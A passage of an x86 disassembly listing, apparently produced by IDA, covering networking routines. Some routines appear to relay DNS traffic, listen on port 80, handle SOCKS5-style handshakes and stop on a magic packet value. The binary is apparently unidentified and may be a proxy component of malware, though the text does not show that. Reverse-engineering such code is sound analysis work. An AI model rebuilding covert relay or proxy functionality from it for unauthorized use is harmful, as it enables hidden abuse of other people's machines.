		mov	eax, [esi+1Ch]
		push	dword ptr [edi+eax]
		mov	ecx, ebx
		call	sub_415185
		jmp	short loc_416072
; ---------------------------------------------------------------------------


loc_41605D:				; CODE XREF: sub_415F7D+B4j
					; sub_415F7D+CBj
		mov	eax, [esi+1Ch]
		mov	edi, [edi+eax]
		test	edi, edi
		jz	short loc_416072
		push	0
		push	edi
		lea	ecx, [ebp+var_4]
		call	sub_40DB5E


loc_416072:				; CODE XREF: sub_415F7D+DEj
					; sub_415F7D+E8j
		push	0
		push	1
		push	[ebp+var_4]
		mov	ecx, ebx
		call	sub_415397
		test	eax, eax
		mov	[ebp+var_C], eax
		mov	ecx, ebx
		jz	short loc_416095
		push	eax
		push	[ebp+arg_0]
		push	esi
		call	sub_41570A
		jmp	short loc_41609E
; ---------------------------------------------------------------------------


loc_416095:				; CODE XREF: sub_415F7D+10Aj
		push	[ebp+arg_0]
		push	esi
		call	sub_41503C


loc_41609E:				; CODE XREF: sub_415F7D+116j
		lea	ecx, [ebp+var_C]
		call	sub_415D26
		lea	ecx, [ebp+var_4]
		jmp	short loc_4160F0
; ---------------------------------------------------------------------------


loc_4160AB:				; CODE XREF: sub_415F7D+61j
					; sub_415F7D+6Aj
		lea	ecx, [ebp+var_8]
		call	sub_40DB48
		lea	eax, [ebp+var_8]
		push	eax
		mov	eax, [esi+1Ch]
		push	dword ptr [edi+eax]
		mov	ecx, ebx
		call	sub_415185
		push	0
		push	1
		push	[ebp+var_8]
		mov	ecx, ebx
		call	sub_415397
		test	eax, eax
		mov	[ebp+var_C], eax
		jz	short loc_4160E5
		push	eax
		push	[ebp+arg_0]
		mov	ecx, ebx
		push	esi
		call	sub_41570A


loc_4160E5:				; CODE XREF: sub_415F7D+15Aj
		lea	ecx, [ebp+var_C]
		call	sub_415D26
		lea	ecx, [ebp+var_8]


loc_4160F0:				; CODE XREF: sub_415F7D+12Cj
		call	sub_40DB59


loc_4160F5:				; CODE XREF: sub_415F7D+73j
		movzx	eax, word ptr [esi+14h]
		inc	[ebp+arg_0]
		cmp	[ebp+arg_0], eax
		jl	loc_415FC9


loc_416105:				; CODE XREF: sub_415F7D+46j
		push	esi
		push	[ebp+arg_C]
		lea	ecx, [ebp+arg_4+3]
		push	[ebp+arg_8]
		mov	byte ptr [esi+2], 1
		mov	byte ptr [esi+8], 1
		call	sub_414E58
		mov	edi, eax


loc_41611E:				; CODE XREF: sub_415F7D+30j
		push	esi
		lea	ecx, [ebp+arg_4+3]
		call	sub_414592


loc_416127:				; CODE XREF: sub_415F7D+20j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	10h
sub_415F7D	endp


; =============== S U B	R O U T	I N E =======================================



sub_416130	proc near		; CODE XREF: sub_406810+Cp
					; sub_40682E+15p
		push	esi
		mov	esi, ecx
		push	edi
		mov	dword ptr [esi], offset	off_4202AC
		call	sub_415243
		lea	ecx, [esi+50h]
		call	sub_40B150
		lea	ecx, [esi+60h]
		call	sub_40B150
		lea	ecx, [esi+70h]
		call	sub_40B150
		push	0Ah
		call	sub_415365
		pop	ecx
		mov	ecx, esi
		call	sub_415D44
		lea	ecx, [esi+44h]
		mov	dword ptr [ecx], offset	off_41C128
		call	sub_40DA75
		push	dword ptr [esi+40h]
		call	ds:dword_4180A4
		mov	edi, ds:dword_4180D8
		lea	eax, [esi+28h]
		push	eax
		call	edi
		add	esi, 10h
		push	esi
		call	edi
		pop	edi
		pop	esi
		retn
sub_416130	endp


; =============== S U B	R O U T	I N E =======================================



sub_416192	proc near		; DATA XREF: sub_41634A+4Eo

var_1		= byte ptr -1
arg_7		= byte ptr  0Bh

		push	ecx
		push	ebp
		push	1
		mov	ebp, ecx
		push	3E8h
		push	dword ptr [ebp+40h]
		call	ds:dword_4180B0
		test	eax, eax
		jz	loc_41624F
		push	ebx
		push	esi
		push	edi
		lea	esi, [ebp+28h]
		lea	ebx, [ebp+8]


loc_4161B7:				; CODE XREF: sub_416192+B4j
		push	esi
		mov	[esp+18h+var_1], 0
		call	ds:dword_4180DC
		mov	esi, [ebx]
		jmp	short loc_416213
; ---------------------------------------------------------------------------


loc_4161C7:				; CODE XREF: sub_416192+83j
		mov	eax, [esi]
		mov	edi, [eax+4]
		push	0
		call	sub_40CFAE
		cmp	edi, eax
		pop	ecx
		jge	short loc_416208
		test	esi, esi
		jz	short loc_4161E0
		mov	edi, [esi]
		jmp	short loc_4161E2
; ---------------------------------------------------------------------------


loc_4161E0:				; CODE XREF: sub_416192+48j
		xor	edi, edi


loc_4161E2:				; CODE XREF: sub_416192+4Cj
		test	edi, edi
		jz	short loc_4161F4
		mov	ecx, edi
		call	sub_4152CC
		push	edi
		call	sub_40D0B6
		pop	ecx


loc_4161F4:				; CODE XREF: sub_416192+52j
		mov	edi, [esi+4]
		push	esi
		mov	ecx, ebx
		call	sub_4041B2
		mov	esi, edi
		mov	[esp+8+arg_7], 1
		jmp	short loc_416213
; ---------------------------------------------------------------------------


loc_416208:				; CODE XREF: sub_416192+44j
		test	esi, esi
		jz	short loc_416217
		mov	esi, [esi+4]
		test	esi, esi
		jz	short loc_416217


loc_416213:				; CODE XREF: sub_416192+33j
					; sub_416192+74j
		test	esi, esi
		jnz	short loc_4161C7


loc_416217:				; CODE XREF: sub_416192+78j
					; sub_416192+7Fj
		lea	esi, [ebp+28h]
		push	esi
		call	ds:dword_4180E0
		cmp	[esp+8+arg_7], 0
		jnz	short loc_41622D
		cmp	dword ptr [ebx], 0
		jnz	short loc_416234


loc_41622D:				; CODE XREF: sub_416192+94j
		mov	ecx, ebp
		call	sub_415D96


loc_416234:				; CODE XREF: sub_416192+99j
		push	1
		push	3E8h
		push	dword ptr [ebp+40h]
		call	ds:dword_4180B0
		test	eax, eax
		jnz	loc_4161B7
		pop	edi
		pop	esi
		pop	ebx


loc_41624F:				; CODE XREF: sub_416192+16j
		pop	ebp
		pop	ecx
		retn	4
sub_416192	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416254	proc near		; DATA XREF: sub_41634A+41o

var_418		= byte ptr -418h
var_218		= dword	ptr -218h
var_18		= word ptr -18h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_1		= byte ptr -1

		push	ebp
		mov	ebp, esp
		sub	esp, 418h
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		mov	[ebp+var_1], 0
		mov	esi, 200h


loc_41626B:				; CODE XREF: sub_416254+4Ej
					; sub_416254+52j ...
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		push	0
		push	esi
		lea	eax, [ebp+var_218]
		push	eax
		lea	ecx, [edi+44h]
		mov	[ebp+var_18], 2
		mov	[ebp+var_8], 10h
		call	sub_40D8A6
		push	[ebp+var_14]
		mov	ebx, eax
		call	ds:dword_4181B0
		cmp	eax, 7F000001h
		jz	short loc_41626B
		test	ebx, ebx
		jle	short loc_41626B
		cmp	ebx, 4
		jnz	short loc_4162BD
		cmp	[ebp+var_218], 3DA712EBh
		jz	loc_416343


loc_4162BD:				; CODE XREF: sub_416254+57j
		cmp	[ebp+var_1], 0
		jnz	short loc_4162E2
		mov	ecx, edi
		mov	[ebp+var_1], 1
		call	sub_415D96
		push	0
		lea	ecx, [edi+60h]
		call	sub_40177E
		push	0
		lea	ecx, [edi+70h]
		call	sub_40177E


loc_4162E2:				; CODE XREF: sub_416254+6Dj
		push	esi
		lea	eax, [ebp+var_418]
		push	eax
		push	ebx
		lea	eax, [ebp+var_218]
		push	eax
		mov	ecx, edi
		call	sub_415F7D
		test	eax, eax
		jle	short loc_41631A
		push	10h
		lea	ecx, [ebp+var_18]
		push	ecx
		push	0
		push	eax
		lea	eax, [ebp+var_418]
		push	eax
		lea	ecx, [edi+44h]
		call	sub_40D83F
		jmp	loc_41626B
; ---------------------------------------------------------------------------


loc_41631A:				; CODE XREF: sub_416254+A7j
		push	48h
		call	sub_40D0BB
		test	eax, eax
		pop	ecx
		jz	loc_41626B
		push	edi
		push	ebx
		lea	ecx, [ebp+var_218]
		push	ecx
		lea	ecx, [ebp+var_18]
		push	ecx
		mov	ecx, eax
		call	sub_41651F
		jmp	loc_41626B
; ---------------------------------------------------------------------------


loc_416343:				; CODE XREF: sub_416254+63j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_416254	endp


; =============== S U B	R O U T	I N E =======================================



sub_41634A	proc near		; CODE XREF: sub_406E37+1D4p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	ebx
		mov	ebx, ds:dword_4180D4
		push	esi
		mov	esi, ecx
		mov	[esi+4], eax
		push	edi
		lea	eax, [esi+10h]
		mov	dword ptr [esi], offset	off_4202AC
		xor	edi, edi
		push	eax
		mov	[esi+8], edi
		mov	[esi+0Ch], edi
		call	ebx
		lea	eax, [esi+28h]
		push	eax
		call	ebx
		push	1
		lea	ecx, [esi+40h]
		call	sub_4012FC
		lea	ecx, [esi+44h]
		call	sub_40E0AC
		mov	[esi+54h], edi
		mov	dword ptr [esi+5Ch], offset sub_416254
		mov	[esi+58h], esi
		mov	[esi+64h], edi
		mov	dword ptr [esi+6Ch], offset sub_416192
		mov	[esi+68h], esi
		mov	[esi+74h], edi
		pop	edi
		mov	dword ptr [esi+7Ch], offset sub_4154AD
		mov	[esi+78h], esi
		mov	eax, esi
		pop	esi
		pop	ebx
		retn	4
sub_41634A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4163B7	proc near		; DATA XREF: sub_408085+1Do
					; sub_4167CA+1Bo

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx]
		mov	ecx, [eax+8]
		push	esi
		push	edi
		push	dword ptr [ebx+4]
		lea	esi, [eax+10h]
		lea	edi, [ebp+var_10]
		movsd
		movsd
		movsd
		movsd
		add	ecx, [ebp+var_C]
		call	[ebp+var_10]
		push	ebx
		call	sub_40D0B6
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_4163B7	endp


; =============== S U B	R O U T	I N E =======================================



sub_4163EB	proc near		; CODE XREF: sub_416417+CCp
					; sub_41651F+7Dp
		push	esi
		mov	esi, ecx
		mov	eax, [esi+40h]
		test	eax, eax
		jz	short loc_4163FC
		push	eax
		call	ds:dword_41804C


loc_4163FC:				; CODE XREF: sub_4163EB+8j
		lea	ecx, [esi+34h]
		mov	dword ptr [ecx], offset	off_41C128
		call	sub_40DA75
		push	offset dword_421D40
		call	ds:dword_4180E8
		pop	esi
		retn
sub_4163EB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416417	proc near		; DATA XREF: sub_41651F+Bo

var_1224	= dword	ptr -1224h
var_220		= byte ptr -220h
var_21D		= byte ptr -21Dh
var_20		= word ptr -20h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		mov	eax, 1224h
		call	sub_4011B0
		push	esi
		mov	esi, ecx
		mov	eax, [esi+40h]
		push	edi
		xor	edi, edi
		cmp	[eax], edi
		mov	[ebp+var_4], edi
		jbe	loc_4164E1
		push	ebx
		lea	ebx, [esi+34h]


loc_41643C:				; CODE XREF: sub_416417+AEj
		lea	eax, [ebp+var_1224]
		push	eax
		mov	ecx, ebx
		mov	[ebp+var_10], 5
		mov	[ebp+var_C], edi
		mov	[ebp+var_1224],	edi
		call	sub_40D686
		lea	eax, [ebp+var_10]
		push	eax
		push	edi
		push	edi
		lea	eax, [ebp+var_1224]
		push	eax
		push	edi
		call	ds:dword_4181A4
		test	eax, eax
		jle	short loc_4164E0
		lea	eax, [ebp+var_1224]
		push	eax
		mov	ecx, ebx
		call	sub_40D6C2
		test	al, al
		jz	short loc_4164BD
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	edi
		push	200h
		lea	eax, [ebp+var_220]
		push	eax
		mov	ecx, ebx
		mov	[ebp+var_20], 2
		mov	[ebp+var_8], 10h
		call	sub_40D8A6
		cmp	eax, edi
		jle	short loc_4164BD
		test	[ebp+var_21D], 0Fh
		jz	short loc_4164CD
		inc	[ebp+var_4]


loc_4164BD:				; CODE XREF: sub_416417+6Bj
					; sub_416417+98j
		mov	eax, [esi+40h]
		mov	ecx, [ebp+var_4]
		cmp	ecx, [eax]
		jb	loc_41643C
		jmp	short loc_4164E0
; ---------------------------------------------------------------------------


loc_4164CD:				; CODE XREF: sub_416417+A1j
		mov	ecx, [esi+30h]
		mov	edx, [ecx]
		push	eax
		lea	eax, [ebp+var_220]
		push	eax
		lea	eax, [esi+20h]
		push	eax
		call	dword ptr [edx]


loc_4164E0:				; CODE XREF: sub_416417+59j
					; sub_416417+B4j
		pop	ebx


loc_4164E1:				; CODE XREF: sub_416417+1Bj
		mov	ecx, esi
		call	sub_4163EB
		push	esi
		call	sub_40D0B6
		pop	ecx
		pop	edi
		pop	esi
		leave
		retn	4
sub_416417	endp


; =============== S U B	R O U T	I N E =======================================



sub_4164F5	proc near		; CODE XREF: sub_41651F+29p

arg_0		= byte ptr  4

		push	ebx
		push	esi
		push	edi
		mov	ebx, ecx
		and	dword ptr [ebx+4], 0
		lea	edi, [ebx+10h]
		lea	esi, [esp+0Ch+arg_0]
		movsd
		movsd
		movsd
		push	offset dword_421D40
		movsd
		mov	[ebx+8], ebx
		call	ds:dword_4180E4
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebx
		retn	10h
sub_4164F5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41651F	proc near		; CODE XREF: sub_416254+E5p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		xor	eax, eax
		mov	[ebp+var_14], offset sub_416417
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		sub	esp, 10h
		mov	edi, esp
		lea	esi, [ebp+var_14]
		movsd
		movsd
		movsd
		mov	ebx, ecx
		movsd
		call	sub_4164F5
		mov	esi, [ebp+arg_0]
		mov	eax, [ebp+arg_C]
		lea	edi, [ebx+20h]
		movsd
		movsd
		movsd
		movsd
		lea	esi, [ebx+34h]
		mov	ecx, esi
		mov	[ebx+30h], eax
		call	sub_40E0AC
		or	[ebp+var_4], 0FFFFFFFFh
		lea	ecx, [ebp+var_4]
		push	ecx
		lea	edi, [ebx+40h]
		push	edi
		xor	eax, eax
		push	eax
		push	eax
		push	1
		push	6
		mov	[edi], eax
		mov	word ptr [ebp+var_14], 2
		call	sub_4177EE
		test	eax, eax
		jnz	short loc_41659A
		push	eax
		push	eax
		mov	ecx, esi
		call	sub_40DA80
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4165AA


loc_41659A:				; CODE XREF: sub_41651F+6Bj
		mov	ecx, ebx
		call	sub_4163EB
		push	ebx
		call	sub_40D0B6
		pop	ecx
		jmp	short loc_4165E9
; ---------------------------------------------------------------------------


loc_4165AA:				; CODE XREF: sub_41651F+79j
		push	35h
		call	ds:dword_4181E8
		mov	word ptr [ebp+var_14+2], ax
		mov	eax, [edi]
		mov	esi, [eax]
		jmp	short loc_4165DB
; ---------------------------------------------------------------------------


loc_4165BC:				; CODE XREF: sub_41651F+BFj
		mov	eax, [edi]
		mov	eax, [eax+esi*4+4]
		push	10h
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_14]
		push	eax
		push	0
		push	[ebp+arg_8]
		lea	ecx, [ebx+34h]
		push	[ebp+arg_4]
		call	sub_40D83F


loc_4165DB:				; CODE XREF: sub_41651F+9Bj
		dec	esi
		test	esi, esi
		jg	short loc_4165BC
		push	0
		mov	ecx, ebx
		call	sub_408085


loc_4165E9:				; CODE XREF: sub_41651F+89j
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebx
		leave
		retn	10h
sub_41651F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4165F2	proc near		; CODE XREF: sub_416E86+EFp
		xor	eax, eax
		cmp	[ecx+20h], eax
		jz	short locret_416601
		mov	ecx, [ecx+20h]
		mov	eax, [ecx]
		jmp	dword ptr [eax+4]
; ---------------------------------------------------------------------------

locret_416601:				; CODE XREF: sub_4165F2+5j
		retn	8
sub_4165F2	endp


; =============== S U B	R O U T	I N E =======================================



sub_416604	proc near		; CODE XREF: sub_416E86+BAp

arg_0		= dword	ptr  4

		xor	eax, eax
		cmp	[ecx+20h], eax
		jz	short locret_416618
		mov	ecx, [ecx+20h]
		mov	edx, [ecx]
		push	eax
		push	[esp+4+arg_0]
		call	dword ptr [edx+4]

locret_416618:				; CODE XREF: sub_416604+5j
		retn	4
sub_416604	endp


; =============== S U B	R O U T	I N E =======================================



sub_41661B	proc near		; CODE XREF: sub_416829+3p
		push	esi
		mov	esi, ds:dword_4180F0
		push	edi
		push	0
		push	offset dword_421D44
		mov	edi, ecx
		call	esi
		push	0
		push	offset dword_421D48
		call	esi
		push	0Ch
		call	sub_40D0BB
		test	eax, eax
		pop	ecx
		jz	short loc_41664C
		mov	ecx, eax
		call	sub_40DD7C
		jmp	short loc_41664E
; ---------------------------------------------------------------------------


loc_41664C:				; CODE XREF: sub_41661B+26j
		xor	eax, eax


loc_41664E:				; CODE XREF: sub_41661B+2Fj
		lea	esi, [edi+40h]
		push	eax
		mov	ecx, esi
		call	sub_404191
		mov	ecx, [esi]
		push	0
		push	50h
		call	sub_40DA80
		cmp	eax, 0FFFFFFFFh
		jz	short loc_416679
		mov	ecx, [esi]
		push	7FFFFFFFh
		call	sub_40D793
		mov	al, 1
		jmp	short loc_41667B
; ---------------------------------------------------------------------------


loc_416679:				; CODE XREF: sub_41661B+4Cj
		xor	al, al


loc_41667B:				; CODE XREF: sub_41661B+5Cj
		pop	edi
		pop	esi
		retn
sub_41661B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41667E	proc near		; DATA XREF: sub_416874+16o

var_20		= word ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_5		= dword	ptr -5
var_1		= byte ptr -1

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	esi
		push	edi
		xor	edi, edi
		inc	edi
		push	edi
		mov	esi, ecx
		push	0
		push	dword ptr [esi+24h]
		call	ds:dword_4180B0
		test	eax, eax
		jz	loc_41679E
		push	ebx


loc_4166A0:				; CODE XREF: sub_41667E+119j
		mov	ecx, [esi+40h]
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	edi
		mov	[ebp+var_20], 2
		mov	[ebp+var_C], 10h
		call	sub_40DF85
		mov	ebx, eax
		test	ebx, ebx
		jz	loc_416786
		push	[ebp+var_1C]
		call	ds:dword_4181B0
		cmp	eax, 7F000001h
		mov	eax, [ebx]
		jnz	short loc_4166E4
		push	edi
		mov	ecx, ebx
		call	dword ptr [eax]
		jmp	loc_416786
; ---------------------------------------------------------------------------


loc_4166E4:				; CODE XREF: sub_41667E+5Aj
		lea	ecx, [ebp+var_10]
		push	ecx
		push	edi
		lea	ecx, [ebp+var_5]
		push	ecx
		mov	ecx, ebx
		mov	[ebp+var_10], 1Eh
		call	dword ptr [eax+4]
		cmp	eax, edi
		jnz	loc_416786
		cmp	byte ptr [ebp+var_5], 0
		jz	short loc_416774
		cmp	byte ptr [ebp+var_5], 5
		jz	short loc_416727
		push	30h
		call	sub_40D0BB
		test	eax, eax
		pop	ecx
		jz	short loc_416786
		push	[ebp+var_5]
		mov	ecx, eax
		push	esi
		push	ebx
		call	sub_417000
		jmp	short loc_416786
; ---------------------------------------------------------------------------


loc_416727:				; CODE XREF: sub_41667E+8Dj
		cmp	dword ptr [esi+50h], 0
		jnz	short loc_41673E
		cmp	dword ptr [esi+20h], 0
		jz	short loc_41673E
		mov	ecx, [esi+20h]
		mov	eax, [ecx]
		lea	edx, [esi+4Ch]
		push	edx
		call	dword ptr [eax]


loc_41673E:				; CODE XREF: sub_41667E+ADj
					; sub_41667E+B3j
		xor	edi, edi
		cmp	[esi+50h], edi
		jbe	short loc_416786


loc_416745:				; CODE XREF: sub_41667E+DCj
		push	[ebp+var_1C]
		call	ds:dword_4181B0
		mov	ecx, [esi+4Ch]
		cmp	eax, [ecx+edi*4]
		jz	short loc_41675E
		inc	edi
		cmp	edi, [esi+50h]
		jb	short loc_416745
		jmp	short loc_416786
; ---------------------------------------------------------------------------


loc_41675E:				; CODE XREF: sub_41667E+D6j
		push	28h
		call	sub_40D0BB
		test	eax, eax
		pop	ecx
		jz	short loc_416786
		push	ebx
		mov	ecx, eax
		call	sub_417325
		jmp	short loc_416786
; ---------------------------------------------------------------------------


loc_416774:				; CODE XREF: sub_41667E+87j
		mov	eax, [ebx]
		push	0
		push	edi
		lea	ecx, [ebp+var_1]
		push	ecx
		mov	ecx, ebx
		mov	[ebp+var_1], 0E3h
		call	dword ptr [eax+8]


loc_416786:				; CODE XREF: sub_41667E+44j
					; sub_41667E+61j ...
		xor	edi, edi
		inc	edi
		push	edi
		push	0
		push	dword ptr [esi+24h]
		call	ds:dword_4180B0
		test	eax, eax
		jnz	loc_4166A0
		pop	ebx


loc_41679E:				; CODE XREF: sub_41667E+1Bj
		pop	edi
		pop	esi
		leave
		retn	4
sub_41667E	endp


; =============== S U B	R O U T	I N E =======================================



sub_4167A4	proc near		; CODE XREF: sub_416E86+139p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	esi, ecx
		lea	edi, [esi+28h]
		push	edi
		call	ds:dword_4180DC
		push	[esp+8+arg_0]
		lea	ecx, [esi+44h]
		call	sub_4151CB
		push	edi
		call	ds:dword_4180E0
		pop	edi
		pop	esi
		retn	4
sub_4167A4	endp


; =============== S U B	R O U T	I N E =======================================



sub_4167CA	proc near		; CODE XREF: sub_416829+12p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	8
		mov	esi, ecx
		call	sub_40D0BB
		pop	ecx
		mov	ecx, [esp+8+arg_0]
		mov	[eax+4], ecx
		xor	ecx, ecx
		lea	edi, [esi+4]
		push	edi
		push	ecx
		push	eax
		push	offset sub_4163B7
		push	ecx
		push	ecx
		mov	[eax], esi
		call	ds:dword_4180BC
		mov	[esi], eax
		mov	eax, [edi]
		pop	edi
		pop	esi
		retn	4
sub_4167CA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4167FD	proc near		; CODE XREF: sub_4169EF+17p

arg_0		= dword	ptr  4

		jmp	short loc_416809
; ---------------------------------------------------------------------------


loc_4167FF:				; CODE XREF: sub_4167FD+13j
		push	[esp+arg_0]
		call	ds:dword_4180C8


loc_416809:				; CODE XREF: sub_4167FDj
		cmp	dword_421D44, 0
		jg	short loc_4167FF
		retn
sub_4167FD	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_416813	proc near		; CODE XREF: sub_4169EF+1Ep

arg_0		= dword	ptr  4

		jmp	short loc_41681F
; ---------------------------------------------------------------------------


loc_416815:				; CODE XREF: sub_416813+13j
		push	[esp+arg_0]
		call	ds:dword_4180C8


loc_41681F:				; CODE XREF: sub_416813j
		cmp	dword_421D48, 0
		jg	short loc_416815
		retn
sub_416813	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_416829	proc near		; CODE XREF: sub_406E37+22Bp
		push	esi
		mov	esi, ecx
		call	sub_41661B
		test	al, al
		jnz	short loc_416837
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_416837:				; CODE XREF: sub_416829+Aj
		push	0
		mov	ecx, esi
		call	sub_4167CA
		mov	al, 1
		pop	esi
		retn
sub_416829	endp


; =============== S U B	R O U T	I N E =======================================



sub_416844	proc near		; CODE XREF: sub_4168E8+Bp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		push	edi
		jz	short loc_416866
		mov	edi, [esp+8+arg_0]
		push	edi
		push	eax
		call	sub_40CA55
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_41686F
		mov	[esi+4], edi
		mov	[esi], eax
		jmp	short loc_41686F
; ---------------------------------------------------------------------------


loc_416866:				; CODE XREF: sub_416844+8j
		push	[esp+8+arg_0]
		call	sub_404576


loc_41686F:				; CODE XREF: sub_416844+19j
					; sub_416844+20j
		pop	edi
		pop	esi
		retn	4
sub_416844	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416874	proc near		; CODE XREF: sub_406E37+212p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		mov	ebx, ecx
		xor	eax, eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		mov	[ebp+var_10], offset sub_41667E
		lea	edi, [ebx+10h]
		lea	esi, [ebp+var_10]
		movsd
		movsd
		movsd
		mov	[ebx+4], eax
		mov	eax, [ebp+arg_0]
		push	1
		lea	ecx, [ebx+24h]
		movsd
		mov	[ebx+8], ebx
		mov	[ebx+20h], eax
		call	sub_4012FC
		lea	eax, [ebx+28h]
		push	eax
		call	ds:dword_4180D4
		xor	eax, eax
		mov	[ebx+40h], eax
		mov	[ebx+44h], eax
		mov	[ebx+48h], eax
		pop	edi
		mov	[ebx+4Ch], eax
		mov	[ebx+50h], eax
		pop	esi
		mov	eax, ebx
		pop	ebx
		leave
		retn	4
sub_416874	endp


; =============== S U B	R O U T	I N E =======================================



sub_4168D5	proc near		; CODE XREF: sub_416949+47p
					; sub_4169EF+49p ...
		push	esi
		mov	esi, ecx
		lea	ecx, [esi+8]
		call	sub_401F70
		mov	ecx, esi
		pop	esi
		jmp	sub_40DB59
sub_4168D5	endp


; =============== S U B	R O U T	I N E =======================================



sub_4168E8	proc near		; CODE XREF: sub_41690E+2Ep

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		push	dword ptr [edi+4]
		mov	esi, ecx
		call	sub_416844
		push	dword ptr [edi+4]
		push	dword ptr [edi]
		push	dword ptr [esi]
		call	sub_40CCF7
		mov	eax, [esi]
		add	esp, 0Ch
		pop	edi
		pop	esi
		retn	4
sub_4168E8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41690E	proc near		; CODE XREF: sub_416949+85p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_40DB48
		mov	ebx, [esp+0Ch+arg_0]
		xor	eax, eax
		lea	edi, [esi+8]
		push	eax
		mov	[edi], eax
		mov	[edi+4], eax
		push	dword ptr [ebx]
		mov	ecx, esi
		call	sub_40DB5E
		mov	eax, [ebx+4]
		add	ebx, 8
		push	ebx
		mov	ecx, edi
		mov	[esi+4], eax
		call	sub_4168E8
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		retn	4
sub_41690E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416949	proc near		; CODE XREF: sub_416E86+95p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		mov	esi, ecx
		lea	eax, [esi+28h]
		push	edi
		push	eax
		mov	[ebp+var_C], eax
		call	ds:dword_4180DC
		push	0
		call	sub_40CFAE
		lea	edi, [esi+44h]
		mov	esi, [edi]
		pop	ecx
		mov	[ebp+var_4], eax
		jmp	short loc_4169B3
; ---------------------------------------------------------------------------


loc_416973:				; CODE XREF: sub_416949+6Cj
		mov	ebx, [esi]
		mov	eax, [ebp+var_4]
		cmp	eax, [ebx+4]
		jle	short loc_41699E
		mov	eax, [esi+4]
		push	esi
		mov	ecx, edi
		mov	[ebp+var_8], eax
		call	sub_4041B2
		mov	esi, [ebp+var_8]
		mov	ecx, ebx
		call	sub_4168D5
		push	ebx
		call	sub_40D0B6
		pop	ecx
		jmp	short loc_4169B3
; ---------------------------------------------------------------------------


loc_41699E:				; CODE XREF: sub_416949+32j
		test	esi, esi
		jz	short loc_4169A5
		mov	esi, [esi+4]


loc_4169A5:				; CODE XREF: sub_416949+57j
		push	[ebp+arg_0]
		mov	ecx, ebx
		call	sub_401ABD
		test	al, al
		jnz	short loc_4169B9


loc_4169B3:				; CODE XREF: sub_416949+28j
					; sub_416949+53j
		test	esi, esi
		jnz	short loc_416973
		jmp	short loc_4169DD
; ---------------------------------------------------------------------------


loc_4169B9:				; CODE XREF: sub_416949+68j
		cmp	[ebp+arg_4], 0
		jz	short loc_4169D9
		push	10h
		call	sub_40D0BB
		test	eax, eax
		pop	ecx
		jz	short loc_4169D5
		push	ebx
		mov	ecx, eax
		call	sub_41690E
		jmp	short loc_4169DB
; ---------------------------------------------------------------------------


loc_4169D5:				; CODE XREF: sub_416949+80j
		xor	eax, eax
		jmp	short loc_4169DB
; ---------------------------------------------------------------------------


loc_4169D9:				; CODE XREF: sub_416949+74j
		mov	eax, ebx


loc_4169DB:				; CODE XREF: sub_416949+8Aj
					; sub_416949+8Ej
		mov	esi, eax


